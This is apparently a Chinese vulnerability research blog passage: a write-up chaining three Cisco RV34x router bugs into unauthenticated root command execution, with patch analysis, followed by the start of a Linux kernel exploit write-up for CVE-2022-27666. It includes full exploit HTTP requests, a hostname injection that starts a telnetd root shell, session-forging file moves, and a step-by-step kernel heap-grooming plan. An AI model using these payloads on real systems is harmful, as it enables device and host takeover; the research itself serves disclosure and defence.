Optional-Header: header-value
Sec-Ch-Ua-Mobile: ?0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBtdH1UtBT6GPZrcM
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://192.168.1.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="sessionid"
2727f44696347c5e1218c78a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="pathparam"
Portal
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="file.path"
/tmp/upload/0000000001
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="fileparam"
bak
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="websession"; filename="a.xml"
Content-Type: text/xml
{
}
------WebKitFormBoundaryBtdH1UtBT6GPZrcM--

认证后命令执行漏洞

最后是一个认证后命令执行漏洞，漏洞存在于/usr/bin/update-clients中。

可以看到在update-clients中，参数$name可以实现注入。

#!/usr/bin/perl
my $total = $#ARGV + 1;
my $counter = 1;
#$mac  = "FF:FF:FF:FF:FF:FF";
#$name = "TestPC";
#$type = "Computer";
#$os   = "Windows";
foreach my $a(@ARGV)
{
    if (($counter%12) == 0)
    {
        system("lcstat dev set $mac \"$name\" \"$type\" \"$os\" > /dev/null");
    }
    elsif (($counter%12) == 4)
    {
        $mac = $a
    }
    elsif (($counter%12) == 6)
    {
        $name = $a
    }
    elsif (($counter%12) == 8)
    {
        $type = $a
    }
    elsif (($counter%12) == 10)
    {
        $os = $a
    }
    $counter++;
}

这里要搞清楚的是http请求包是怎么跑到/usr/bin/update-clients去执行的。

RV34x系列采用的是ConfD的架构来进行网络管理的，ConfD是tail-f推出的配置管理开发框架，提供多种工具，针对多种标准，其中也包括了对NETCONF/YANG的支持。Tail-f已经被思科收购，所以ConfD应该说是思科的ConfD了。根据官方手册ConfD User Guide，它的架构如下。基础知识前面已经说过，可以去了解netconf+yang模型的网络管理。

confd_architecture

CDB是内置的数据库，由xml表示，被ConfD解析后提供多个接口以实现多客户端的访问。对于RV34x系列来说，配置文件的路径是/etc/confd/cdb/，该目录下的xml便是配置的数据。比较关注的是config_init.xml，该配置文件里面存储了包含用户密码等信息在内的数据。

接口模型使用yang定义，yang是一种数据建模语言，下面给出部分关键字的解释，当然也可以从ConfD User Guide中去了解更多的信息：

module定义了一种分层的配置树结构。它可以使能NETCONF的所有功能，如配置操作(operation)，RPC和异步通知(notification)。开发者可根据配置数据的语义来定义不同的module。
namespace用于唯一的标识module，等同于xml文件中的namespace。
container节点把相关的子节点组织在一起。
list节点可以有多个实例，每个实例都有一个key唯一标识。
leaf是叶子节点，具有数据类型和值，如叶子结点name的数据类型(type)是string，它唯一的表示list节点interface。

下面我们看下关于漏洞点的rpc调用的yang的定义：

    // /etc/confd/yang/ciscosb-avc.yang: 197
        rpc update-clients {
        input {
            list clients {
                key mac;
                leaf mac {
                    type yang:mac-address;
                    mandatory true;
                }
                leaf hostname {
                    type string;
                }
                leaf device-type {
                    type string;
                }
                leaf os-type {
                    type string;
                }
            }
        }
    }
    augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:ips" {
        uses ciscosb-security-common:DEVICE-OS-TYPE;
    }
    augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:macs" {
        uses ciscosb-security-common:DEVICE-OS-TYPE;
    }

可以看到上面定义了类似于下面的json数据请求包，hostname、device-type以及os-type都是leaf结点，类型（type）也是字符串（string）。

POST /jsonrpc HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/plain, */*
Content-Length: 350
Connection: close
Cookie: selected_language=English; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; session_timeout=false; sessionid=138b633ddd844b81a8ea48a149819f645fbe31fb64a1bd7cc0072f3d14420da0; current-page=WAN_Settings
{
  "jsonrpc":"2.0",
  "method":"action",
  "params":{
    "rpc":"update-clients",
    "input":{
      "clients": [
        {
          "hostname": "rv34x",
          "mac": "64:d1:a3:4f:be:e1",
          "device-type": "client",
          "os-type": "windows"
        }
      ]
    }
  }
}

yang数据接口的定义在路径/etc/confd/yang目录下，它被confdc编译成.fxs文件输出到了/etc/confd/fxs当中，后续这些.fxs文件被confd解析使用。

现在基本搞清楚了漏洞触发的原因，现在从细节实现上来看请求的数据包是如何触发rpc请求的。

nginx的配置文件中定义了/jsonrpc的请求路径，可以看到它处理的uwsgi_pass是jsonrpc

# /etc/nginx/conf.d/web.conf: 18
location = /jsonrpc {
    include uwsgi_params;
    proxy_buffering off;
    uwsgi_modifier1 9;
    uwsgi_pass jsonrpc;
    uwsgi_read_timeout 3600;
    uwsgi_send_timeout 3600;
}

在uwsgi的定义中找到jsonrpc的定义，可以看到它对应的处理程序是/www/cgi-bin/jsonrpc.cgi：

[uwsgi]
plugins = cgi
workers = 4
master = 1
uid = www-data
gid = www-data
socket=127.0.0.1:9000
buffer-size=4096
cgi = /jsonrpc=/www/cgi-bin/jsonrpc.cgi
cgi-allowed-ext = .cgi
cgi-allowed-ext = .pl
cgi-timeout = 3600
ignore-sigpipe = true

跟进去jsonrpc.cgi，来看上面的数据包所引发的数据流是怎么传输到ConfD的。

把jsonrpc.cgi拖到IDA里面，可以看到它会先获取环境变量，然后读取post数据，然后调用parse_json_content函数去解析post过去的json数据，最后调用handle_rpc去处理。

int __fastcall main(int a1, char **a2, char **a3)
{
  content_length_ptr = (int)getenv("CONTENT_LENGTH");
  content_type_ptr = getenv("CONTENT_TYPE");
  http_cookie_ptr = getenv("HTTP_COOKIE");
  ...
  if ( content_length_ptr )
    content_length_ptr = atoi((const char *)content_length_ptr);
  content_ptr = malloc(content_length_ptr + 1);
  content_ptr[fread(content_ptr, 1u, content_length_ptr, stdin)] = 0;
  malloc_ctx(&json_ctx);
  parse_json_content(json_ctx, content_ptr);
  ...
    handle_rpc(json_ctx, &ret_str);
  }

跟进去handle_rpc函数，看到它除了输出些日志以外，调用了post_rpc_request。

void __fastcall handle_rpc(ctx *json_ctx, char **ret_str)
{
  ...
  debug("[%d|%s] - begin.", pid, method);
  ...
    ret = post_rpc_request(json_ctx, (char *)&ptr);
    ...
    info("[%d|%s] - end. elapsed=%lu.%06lu", pid, method, time.tv_sec, time.tv_usec);
  }
}

post_rpc_request是主要的流程分发函数，可以看到用户相关的请求是直接调用handle_user_rpc_request函数，而其余的则都会调用check_login_status函数对session进行校验，然后根据json请求当中的不同的method调用不同的处理函数。对于漏洞请求的update-clients，处理的函数是handle_action_rpc_request。

int __fastcall post_rpc_request(ctx *json_ctx, char *ret_str)
{
  char *method; // r4
  int ret; // r0 MAPDST
  method = json_ctx->method;
  if ( !method )
    return 0;
  if ( !strcmp(json_ctx->method, "login")
    || !strcmp(method, "logout")
    || !strcmp(method, "u2d_check_password")
    || !strcmp(method, "u2d_change_password")
    || !strcmp(method, "change_password")
    || !strcmp(method, "add_users")
    || !strcmp(method, "set_users")
    || !strcmp(method, "del_users") )
  {
    return handle_user_rpc_request(json_ctx, ret_str);
  }
  if ( !strcmp(method, "get_downloadstatus")
    || !strcmp(method, "get_wifi_button_state")
    || !strcmp(method, "check_config")
    || !strcmp(method, "get_model_tree")
    || !strcmp(method, "get_timezones") )
  {
    if ( check_login_status(json_ctx, 1, 2) )
      return 0;
    ret = handle_status_rpc_request((int)json_ctx, ret_str);
  }
  else if ( !strncmp(method, "get_", 4u) || !strncmp(method, "u2d_get_", 8u) )
  {
    if ( check_login_status(json_ctx, 1, 2) )
      return 0;
    ret = handle_get_rpc_request(json_ctx, ret_str);
  }
  else if ( !strcmp(method, "set_bulk") )
  {
    if ( check_login_status(json_ctx, 2, 2) )
      return 0;
    ret = handle_set_bulk_rpc_request(json_ctx, ret_str);
  }
  else if ( !strncmp(method, "set_", 4u) || !strncmp(method, "del_", 4u) || !strncmp(method, "u2d_set_", 8u) )
  {
    if ( check_login_status(json_ctx, 2, 2) )
      return 0;
    ret = handle_set_del_rpc_request(json_ctx, (int *)ret_str, 1);
  }
  else
  {
    if ( strncmp(method, "action", 6u) && strncmp(method, "u2d_rpc_", 8u) )
    {
      error("ERROR METHOD CASE !!!");
      return 0;
    }
    if ( check_login_status(json_ctx, 1, 2) )
      return 0;
    ret = handle_action_rpc_request(json_ctx, ret_str);
  }
  session_close();
  return ret;
}

跟进去handle_action_rpc_request函数，它会调用jsonrpc_action_table_by_method函数，根据rpc的内容（样例中是update-clients）返回对应的处理函数。在获取input对象后，将处理函数p_action对象以及input参数值，作为参数调用jsonrpc_action_config去执行rpc调用。

int __fastcall handle_action_rpc_request(ctx *ctx, _DWORD *ret_str)
{
  ...
  method = ctx->method;
  params = ctx->params;
  ...
    else if ( !strcmp(method, "action") && json_object_object_get_ex(params, "rpc", &rpc_json_obj) )
    {
      p_action = &action;
      ...
      rpc_str = json_object_get_string(rpc_json_obj);
      ...
      if ( !jsonrpc_action_table_by_method(&action, rpc_str) )
        p_action = 0;
      ...
      if ( json_object_object_get_ex(params, "input", &input_param) )
        params = input_param;
      if ( p_action )
      {
        ret = jsonrpc_action_config((int)p_action, params, (int)&v17);

先跟进去jsonrpc_action_table_by_method函数看它是怎么获取处理函数的。函数的定义在libjsess.so当中，可以看到它主要是遍历action数组，通过rpc_str的值来确定具体是哪个action来处理rpc调用。

int __fastcall jsonrpc_action_table_by_method(action *ret_action, char *rpc_str)
{
  ...
    action_table = &json_action_table_ptr;
  action = *action_table;
  memset(ret_action, 0, sizeof(action));
  while ( 1 )
  {
    if ( !action->name )
      return 0;
    if ( !strcmp(rpc_str, action->name) )
      break;
    if ( !++action )
      return 0;
  }
  p_post_handler = &action->post_handler;
  do
  {
    ...
    // 拷贝找到的action到ret_action当中
  }
  while ( !v10 );
  return 1;
}

action结构体定以及update-clients对应的action的定义如下，可以确定对应的处理函数是action__maapi。

00000000 action          struc ; (sizeof=0x14, mappedto_55)
00000000 name            DCD ?                   ; offset
00000004 field_4         DCD ?
00000008 pre_handler     DCD ?                   ; offset
0000000C handler         DCD ?                   ; offset
00000010 post_handler    DCD ?                   ; offset
00000014 action          ends
.data:00043BD0                 DCD aUpdateClients      ; "update-clients"
.data:00043BD4                 DCD 0
.data:00043BD8                 DCD 0
.data:00043BDC                 DCD action__maapi
.data:00043BE0                 DCD 0

找到对应的函数后，处理函数会调用jsonrpc_action_config去处理rpc请求。跟进去该函数，它会调用上面获取的action对象中的函数，对于update-clients，则会调用action__maapi。

int  jsonrpc_action_config(action *action, int param_obj, _DWORD *a3))(int, int *)
{
  ...
  if ( v7 )
    v7 = json_tokener_parse();
  func = (int)action->pre_handler;
  if ( func )
    func = func(v6, &v16);
  ...
  pid = getppid();
  info("[%d|action|%s] - pre-handler %d.", pid, action->name, func);
  handler = action->handler;
  if ( handler )
    func = handler(v16, v9, &v17);
  ...
  post_handler = action->post_handler;
  if ( post_handler )
    func = post_handler(v17, a3);
  ...
}

跟进去action__maapi函数，看到它调用了jsess_action，经过跟踪，确定它最终调用的是mctx_rpc函数。

int __fastcall action__maapi(int a1, int a2, int *a3)
{
  ...
  result = jsess_action(g_h_sess_db);
  ...
}
.data:00044248 jmaapi_api      DCD jmaapi_open         ; DATA XREF: LOAD:00000D6C↑o
.data:00044248                                         ; jsess_set_type:loc_7F48↑o ...
.data:0004424C                 DCD jmaapi_apply
.data:00044250                 DCD jmaapi_close
.data:00044254                 DCD jmaapi_init
.data:00044258                 DCD jmaapi_get
.data:0004425C                 DCD jmaapi_set
.data:00044260                 DCD jmaapi_del
.data:00044264                 DCD jmaapi_action
int __fastcall jmaapi_action(int a1, int a2, int a3, int a4, int a5)
{
  ...
    return mctx_rpc(s, a3, a4, a5);
}

跟进去mctx_rpc函数，可以看到它调用了maapi_request_action_str_th函数去向ConfD发起请求，执行rpc调用。

int __fastcall mctx_rpc(int *a1, int a2, int a3, int a4)
{
  ...
  while ( v9 )
  {
    .
    ...
    v5 = maapi_request_action_str_th(sock, thandle, (int)&output, v15, v10);
    ...
      if ( output )
      {
        mctx_rpc_cli((int)a1, (char *)output, a3, a4);
        free(output);
      }
      if ( !json_object_object_length(a4) )
      {
        v16 = json_object_new_int(0);
        json_object_object_add(a4, "code", v16);
        v17 = json_object_new_string("Success");
        json_object_object_add(a4, "errstr", v17);
      }
    }
  }
  StrBufFree(&v27);
  return v5;
}

maapi_request_action_str_th函数的官方手册的说明如下，正是由该函数最终发送rpc请求去触发/usr/bin/update-clients的，调用的传递的参数要符合yang模型中的定义。

int maapi_request_action_str_th(int sock, int thandle, char **output,
const char *cmd_fmt, const char *path_fmt, ...);
/*Does the same thing as maapi_request_action_th(), but takes the parameters as a string and
returns the result as a string. The library allocates memory for the result string, and the caller is responsible
for freeing it. This can in all cases be done with code like this:
*/
char *output = NULL;
if (maapi_request_action_str_th(sock, th, &output,
 "test reverse listint [ 1 2 3 4 ]", "/path/to/action") == CONFD_OK) {
 ...
 free(output);
}

跟到这里就算结束了，ConfD里面的实现就不继续跟踪了，具体的ConfD的说明还是建议简要把官方手册的关键章节看看，对进一步掌握框架由很好的帮助。

值得一提的是因为ConfD是root权限，所以/usr/bin/update-clients最终执行的时候也是root权限，因此利用这个漏洞拿到的权限也是root，比之前在cgi中拿到的权限要高。

认证后命令注入的post包如下所示：

POST /jsonrpc HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/plain, */*
Content-Length: 350
Connection: close
Cookie: selected_language=English; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; session_timeout=false; sessionid=138b633ddd844b81a8ea48a149819f645fbe31fb64a1bd7cc0072f3d14420da0; current-page=WAN_Settings
{
  "jsonrpc":"2.0",
  "method":"action",
  "params":{
    "rpc":"update-clients",
    "input":{
      "clients": [
        {
          "hostname": "hostname$(/usr/sbin/telnetd -l /bin/sh -p 2306)",
          "mac": "64:d1:a3:4f:be:e1",
          "device-type": "client",
          "os-type": "windows"
        }
      ]
    }
  }
}

漏洞利用

上面一节中把三个漏洞的细节都描述了一遍，本节中我们将尝试将三个漏洞结合起来实现无条件RCE的利用。

先回顾下三个漏洞的作用：

任意文件上传漏洞：可以实现上传任意文件到/tmp/upload目录中，文件名是可以预测的，是0000000000的数字递增；
任意文件移动漏洞：可以实现将文件系统中任意文件移动至/tmp/www目录下；
认证后命令执行漏洞：简单粗暴的认证后命令注入。

利用这三个漏洞的结合可以总结为：

利用任意文件上传漏洞上传伪造的session到/tmp/upload目录下；
利用任意文件移动漏洞将伪造的session移动至/tmp目录下，实现有效session的伪造；
基于有效session，利用认证后命令执行漏洞拿到root权限；

下面一步一步进行解释。

第一步伪造session，先说明下RV34x中的session构成，session存储在/tmp/websession目录下

/tmp # ls websession/
session  token
/tmp # cat websession/session
{
  "max-count":1,
  "cisco":{
    "dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8":{
      "user":"cisco",
      "group":"admin",
      "time":2433831,
      "access":1,
      "timeout":1800,
      "leasetime":13118911
    }
  }
}
/tmp # ls websession/token/
dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8
/tmp # cat websession/token/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8
/tmp #

可以看到整个session的构成包含两个部分，一部分是/tmp/websession/session文件中包含登录的用户信息，信息中存储了用户名、session id、用户组、超时时间等；另一部分则是/tmp/websession/token/目录下有sessionid对应的文件，文件内容为空。因此要构造的是session文件内容，以及空的sessionid所对应的文件。

先利用任意文件漏洞漏洞上传上面两个文件，一个内容如下，另一个内容随意。要提一句的是session文件中time的构造是系统启动的时间，可以用任意文件移动漏洞执行mv /proc/uptime /tmp/www/login.html，然后访问login.html来泄漏时间戳。

{
  "max-count":1,
  "cisco":{
    "dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8":{
      "user":"cisco",
      "group":"admin",
      "time":2433831,
      "access":1,
      "timeout":1800,
      "leasetime":13118911
    }
  }
}

还有个问题需要解决的是如何确定传上去的两个文件的名称。这可以通过利用任意文件移动漏洞备份/tmp/www/index.html，然后随意上传一个文件，再利用任意文件移动漏洞依次序将/tmp/upload/0000000000移动至/tmp/www/index.html，访问主页，如果主页内容发生变化，即可得到序号，下一次再将两个文件上传，文件名称即为刚刚得到的序号递增的两个序号。

第二步是利用任意文件移动漏洞将刚刚伪造的session及session id文件移动至/tmp目录下，实现有效session的伪造。前面说过该任意文件移动只能将任意的文件移动到/tmp/www目录下，而websession文件夹则在/tmp目录下，如何才能够通过这个漏洞将我们的文件移动到/tmp目录下呢？

解决方法可以利用/var这个目录，该目录是/tmp目录到链接，将该目录移动至/tmp/www目录下，后续再往/tmp/www/var目录下去移动文件即可实现将文件移动至/tmp目录中。

/tmp # ls -al / | grep var
lrwxrwxrwx    1 root     root             4 Oct 22  2021 var -> /tmp

这个过程也要利用一些空的文件夹（3g-4g-driver out_certs certs firmware pnp_config）的移动来实现，具体的操作流程如下所示。第一行是post数据包放的内容，第二行是实现的效果。

# /tmp/websession websession_bak
mv /tmp/websession /tmp/www/websession_bak
# /tmp/3g-4g-driver websession
mv /tmp/3g-4g-driver /tmp/www/websession
# /tmp/upload/0000000016 session
mv /tmp/upload/0000000016 /tmp/www/session
# /tmp/firmware token
mv /tmp/firmware /tmp/www/token
# /tmp/upload/0000000017 dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8
mv /tmp/upload/0000000017 /tmp/www/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8
# /tmp/www/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8 token
mv /tmp/www/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8 /tmp/www/token
# /tmp/www/token websession
mv /tmp/www/token /tmp/www/websession
# /tmp/www/session websession
mv /tmp/www/session /tmp/www/websession
# /var tmp
mv /var /tmp/www/tmp
# /tmp/www/websession tmp
mv /tmp/www/websession /tmp/www/tmp

经过上面的两步一后，即可用认证后的代码执行漏洞拿到root shell。

漏洞补丁

去官网下载新的固件，binwalk解压查看内容，对三个漏洞逐个查看。

任意文件上传漏洞似乎没有修复，cisco可能认为它是nginx的一个正常功能。

location /api/operations/ciscosb-file:form-file-upload {
    set $deny 1;
    if ($http_authorization != "") {
        set $deny "0";
    }
    if ($deny = "1") {
        return 403;
    }
    upload_pass /form-file-upload;
    upload_store /tmp/upload;
    upload_store_access user:rw group:rw all:rw;
    upload_set_form_field $upload_field_name.name "$upload_file_name";
    upload_set_form_field $upload_field_name.content_type "$upload_content_type";
    upload_set_form_field $upload_field_name.path "$upload_tmp_path";
    upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
    upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
    upload_pass_form_field "^.*$";
    upload_cleanup 400 404 499 500-505;
    upload_resumable on;
}

任意文件移动漏洞的修复没有限制/form-file-upload的访问，而是在upload.cgi进行了修补。可以看到它在调用prepare_file之前会校验源目的地地址，从而修复了任意文件移动漏洞。

  jsonutil_get_string(dword_2348C, &file_path, "\"file.path\"", -1);
  ...
  if ( !file_path || match_regex("^/tmp/upload/[0-9]{10}$", file_path) )
  {
    puts("Content-type: text/html\n");
    printf("Error Input");
    goto LABEL_31;
  }

最后再来看看命令执行漏洞，update-clients脚本内容未发生变化，但是yang接口定义却有变化。可以看到它限制了hostname的类型，同时将os等参数去掉了，导致无法形成注入。

    rpc update-clients {
        input {
            list clients {
                key mac;
                leaf mac {
                    type yang:mac-address;
                    mandatory true;
                }
                leaf hostname {
                    type inet:domain-name;
                }
                uses ciscosb-security-common:DEVICE-OS-TYPE;
            }
        }
    }

总结

配置文件的缺陷看起来微不足道，经过精心构造却能导致严重的漏洞。三个漏洞很巧妙，能够给人很多的启发。

参考

[1] Pwn2Own Austin 2021: https://www.thezdi.com/blog/2021/8/11/pwn2own-austin-2021-phones-printers-nas-and-more
[2] IoT Inspector Research Lab: https://www.iot-inspector.com/about-us/
[3] wp: https://www.iot-inspector.com/blog/advisory-cisco-rv340-dual-wan-gigabit-vpn-router-rce-over-lan/
[4] 1.0.03.24: https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.24
[5] Nginx-upload-module中文文档: https://blog.osf.cn/2020/06/30/nginx-upload-module/
[6] ConfD User Guide: https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf
[7] multipart-parser-c: https://github.com/iafonov/multipart-parser-c
[8] tail-f: https://www.tail-f.com/
[9] ConfD User Guide: https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf
[10] ConfD User Guide: https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf
[11] 官网: https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.26
[12] Nginx-upload-module中文文档: https://blog.osf.cn/2020/06/30/nginx-upload-module/
[13] nginx介绍和常用模块配置: https://www.liuvv.com/p/7245bfc7.html
[14] ConfD User Guide: https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf
[15] ConfD Basic学习手记: https://marvinsblog.net/post/2019-09-26-confd-basic/

阅读原文

跳转微信打开

【kernel exploit】从 PWN2OWN CVE-2022-27666 看内核页风水

Tue, 19 Apr 2022 08:59:00 +0800

v1n3gar 2022-04-19 08:59

【kernel exploit】从 PWN2OWN CVE-2022-27666 看内核页风水

知识点：

（1）使用 msg_msg 构造任意写来篡改 modprobe_path，通过 FUSE 来处理页错误（克服5.11版本之后用户没有userfaultfd权限的问题，肯定有一大波CTF题将要效仿）。

（2）由于漏洞对象位于 8-page，已经不能用常规的堆喷（slub allocator）来利用了，得利用页喷射（buddy system），作者分析了伙伴系统的源码，可以学习页喷知识（主要采用 ring_buffer 进行页喷和页风水，值得学习）。某种程度上来说本漏洞是一种 cross-cache overflow，从一个页溢出覆盖到下一个页上的cache（因为页上可以含有cache也可以是单纯的页）。

（3）采用新的弹性对象来泄露信息，也即user_key_payload弹性对象，由于长度变量和数据在一起，所以不担心溢出时覆盖到指针（限制是只能分配最多200个最长20000字节）。

影响版本：Linux-v5.17-rc8 以前，v5.17-rc8已修补。

测试版本：Linux-v5.16.14 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

编译选项：所有和 INET6 / TUNNEL / XFRM / CONFIG_NET_KEY / CONFIG_NF_SOCKET_IPV6 相关的选项都勾上y，特别是以下选项。

CONFIG_XFRM_ESP=y
CONFIG_INET_ESP=y
CONFIG_INET_ESP_OFFLOAD=y
CONFIG_INET6_ESP=y
CONFIG_INET6_ESP_OFFLOAD=y

在编译时将.config中的CONFIG_E1000和CONFIG_E1000E，变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.16.14.tar.xz
$ tar -xvf linux-5.16.14.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录：/arch/x86/boot/bzImage。

漏洞描述：位于目录 net/ipv4/esp4.c 和 net/ipv6/esp6.c 中的 IPsec ESP transformation 代码存在堆溢出。漏洞自2017年引入（cac2661c53f3 / 03e2a30f6a27）。

本漏洞能够在最新的 Ubuntu 21.10 上提权，来自于pwn2own 2022，能够影响 Ubuntu / Fedora / Debian。首次进行 page-level heap fengshui 和 cross-cache overflow（环境：4G内存，2 CPU）。

补丁：patch 补丁引入 ESP_SKB_FRAG_MAXSIZE，大小为 32768 ，也就是 8-page，如果 allocsize 大于8页，则跳转到 COW。

diff --git a/include/net/esp.h b/include/net/esp.h
index 9c5637d41d951..90cd02ff77ef6 100644
--- a/include/net/esp.h
+++ b/include/net/esp.h
@@ -4,6 +4,8 @@
 #include 
+#define ESP_SKB_FRAG_MAXSIZE (PAGE_SIZE << SKB_FRAG_PAGE_ORDER)
+
 struct ip_esp_hdr;
 static inline struct ip_esp_hdr *ip_esp_hdr(const struct sk_buff *skb)
diff --git a/net/ipv4/esp4.c b/net/ipv4/esp4.c
index e1b1d080e908d..70e6c87fbe3df 100644
--- a/net/ipv4/esp4.c
+++ b/net/ipv4/esp4.c
@@ -446,6 +446,7 @@ int esp_output_head(struct xfrm_state *x, struct sk_buff *skb, struct esp_info *
     struct page *page;
     struct sk_buff *trailer;
     int tailen = esp->tailen;
+    unsigned int allocsz;
     /* this is non-NULL only with TCP/UDP Encapsulation */
     if (x->encap) {
@@ -455,6 +456,10 @@ int esp_output_head(struct xfrm_state *x, struct sk_buff *skb, struct esp_info *
             return err;
     }
+    allocsz = ALIGN(skb->data_len + tailen, L1_CACHE_BYTES);
+    if (allocsz > ESP_SKB_FRAG_MAXSIZE)
+        goto cow;
+
     if (!skb_cloned(skb)) {
         if (tailen <= skb_tailroom(skb)) {
             nfrags = 1;
diff --git a/net/ipv6/esp6.c b/net/ipv6/esp6.c
index 7591160edce14..b0ffbcd5432d6 100644
--- a/net/ipv6/esp6.c
+++ b/net/ipv6/esp6.c
@@ -482,6 +482,7 @@ int esp6_output_head(struct xfrm_state *x, struct sk_buff *skb, struct esp_info
     struct page *page;
     struct sk_buff *trailer;
     int tailen = esp->tailen;
+    unsigned int allocsz;
     if (x->encap) {
         int err = esp6_output_encap(x, skb, esp);
@@ -490,6 +491,10 @@ int esp6_output_head(struct xfrm_state *x, struct sk_buff *skb, struct esp_info
             return err;
     }
+    allocsz = ALIGN(skb->data_len + tailen, L1_CACHE_BYTES);
+    if (allocsz > ESP_SKB_FRAG_MAXSIZE)
+        goto cow;
+
     if (!skb_cloned(skb)) {
         if (tailen <= skb_tailroom(skb)) {
             nfrags = 1;

保护机制：KASLR / SMEP / SMAP

利用总结：主要利用过程位于 loop() 函数：

（1）初始化：设置CPU affinity，设置漏洞socket（文件描述符存在 r[1]）；

（2）缓解噪声（避免 order-2 从 order-3 取页或者 order-2 的页合并到 order-3，影响到漏洞对象的排布）：

（2-1）耗尽 order-0/1/2 的 freelist：喷射0x1000个大小为0x1000的 ring_buffer；
（2-2）分配 (101002) 个 4-page，释放一半：采用 ring_buffer；
（2-3）释放 (2-1) 中堆喷的对象；

（3）泄露 msg_msg->next（尝试9次）：堆上布局3个相邻的对象—— vul object -> user_key_payload -> msg_msg。

（3-1）耗尽 order-3 的freelist，使得堆排布时从 order-4 取页，保证8-page 相邻：喷射 0x2000 个大小为 0x8000 的 ring_buffer；
（3-2）耗尽 kmalloc-4k，使得分配 user_key_payload 时从 buddy system 取页（order-3）：调用 setxattr() 分配 0x50*8 个 kmalloc-4k；
（3-3）分配3个连续的 8-page 占位对象：采用 ring_buffer 对象；
（3-4）释放第2个占位对象，分配1个8-page slab（分配1个 user_key_payload 和7个 setxattr()）；
（3-5）喷射 100 个 seq_operations 对象，便于之后泄露内核基址；
（3-6）释放第3个占位对象，分配1个8-page slab（喷射16个 msg_msg，位于 kmalloc-4k / kmalloc-32）；
（3-7）释放第1个占位对象，分配漏洞对象，触发越界写来修改 user_key_payload->datalen；
（3-8）通过 user_key_payload 进行越界读，泄露 msg_msg->next；

（4）泄露内核基址（尝试50次）：堆上布局2个相邻的对象——vul object -> msg_msg。

（4-1）耗尽 kmalloc-4k，使得分配 msg_msg 时从 buddy system 取页（order-3）：堆喷0x100个大小为0x1000 的 ring_buffer；
（4-2）耗尽 order-3 的freelist，使得堆排布时从 order-4 取页，保证8-page 相邻：喷射 0x100 个大小为 0x8000 大小的 ring_buffer；
（4-3）分配8*2个连续的 8-page 占位对象（占位对象）：采用 ring_buffer 对象；
（4-4）释放第2个占位对象，分配1个8-page slab （分配 9 个 msg_msg，位于 kmalloc-4k / kmalloc-32）；
（4-5）释放第1个占位对象，分配漏洞对象，触发越界写来修改 msg_msg->m_ts & msg_msg->next （改成上一步泄露的 msg_msg->next）；
（4-6）通过 msg_msg 进行越界读，泄露 seq_operations->start / stop / next 指针；

（5）篡改 modprobe_path 提权（尝试50次）：堆上布局2个相邻的对象——vul object -> msg_msg。

（5-1）设置 FUSE，页错误处理地址为 fuse_evil_addr = 0x1339000（FUSE的 evil_read_pause() 函数在处理页错误时，会往该地址写入字符串 /tmp/get_rooot\x00，也即提权程序）；
（5-2）耗尽 order-3 的freelist，使得堆排布时从 order-4 取页，保证8-page 相邻：喷射 0x100 个大小为 0x8000 大小的 ring_buffer；
（5-3）分配2个连续的 8-page 占位对象（占位对象）：采用 ring_buffer 对象；
（5-4）释放第2个占位对象，分配1个8-page slab （分配 9 个 msg_msg，位于 kmalloc-4k / kmalloc-32）（注意，用户message地址设置为 fuse_evil_addr-8 == 0x1339000-8，以便在内核拷贝消息时触发页错误而暂停）；
（5-5）释放第1个占位对象，分配漏洞对象，触发越界写来修改 msg_msg->next（改成 modprobe_path-8）；
（5-6）通过写pipe来通知 FUSE 的 evil_read_pause() 函数，结束页错误处理，使得 msg_msg 消息完成拷贝，篡改 modprobe_path；
（5-7）执行错误binary文件触发modprobe，完成提权。

1. 漏洞分析

